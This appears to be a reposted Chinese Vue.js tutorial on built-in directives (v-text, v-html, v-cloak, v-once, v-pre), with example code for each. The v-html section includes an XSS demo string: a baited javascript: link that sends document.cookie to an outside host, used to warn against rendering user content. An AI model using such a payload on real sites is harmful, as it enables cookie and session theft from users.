ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Vue内置指令

2021-12-19 18:30:42  阅读:158  来源: 互联网

标签:内置 name html cloak Vue 指令 节点


v-text指令

1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
v-text会替换掉节点中的内容,示例中替换了节点中的“我是原名”

  • 页面展示
    在这里插入图片描述
<div id="root">
	<div>你好,{{name}}</div>
	<div v-text="name">我是原名</div>
	<div v-text="str">我是原名</div>
</div>
new Vue({
	el:'#root',
	data:{
		name:'张三',
		str:'<h3>你好啊!</h3>'
	}
})

v-html指令:

1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2).v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

  • 页面展示 在这里插入图片描述
<div id="root">
    <div>你好,{{name}}</div>
	<div v-html="str"></div>
	<div v-html="str2"></div>
</div>
new Vue({
		el:'#root',
		data:{
			name:'张三',
			str:'<h3>你好啊!</h3>',
			str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
		}
	})

v-cloak指令(没有值):

1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
		<!-- 引入Vue -->
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'张三'
			}
		})
	</script>
</html>

v-once指令:

1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

  • 页面展示
    在这里插入图片描述
<div id="root">
    <h2 v-once>初始化的n值是:{{n}}</h2>
	<h2>当前的n值是:{{n}}</h2>
	<button @click="n++">点我n+1</button>
</div>
new Vue({
	el:'#root',
	data:{
		n:1
	}
})

v-pre指令:

1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

  • 页面展示
    在这里插入图片描述
<div id="root">
	<h2 v-pre>Vue其实很简单</h2>
	<h2 >当前的n值是:{{n}}</h2>
	<button @click="n++">点我n+1</button>
</div>
new Vue({
		el:'#root',
		data:{
			n:1
		}
	})

标签:内置,name,html,cloak,Vue,指令,节点
来源: https://blog.csdn.net/weixin_46724415/article/details/122027336

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有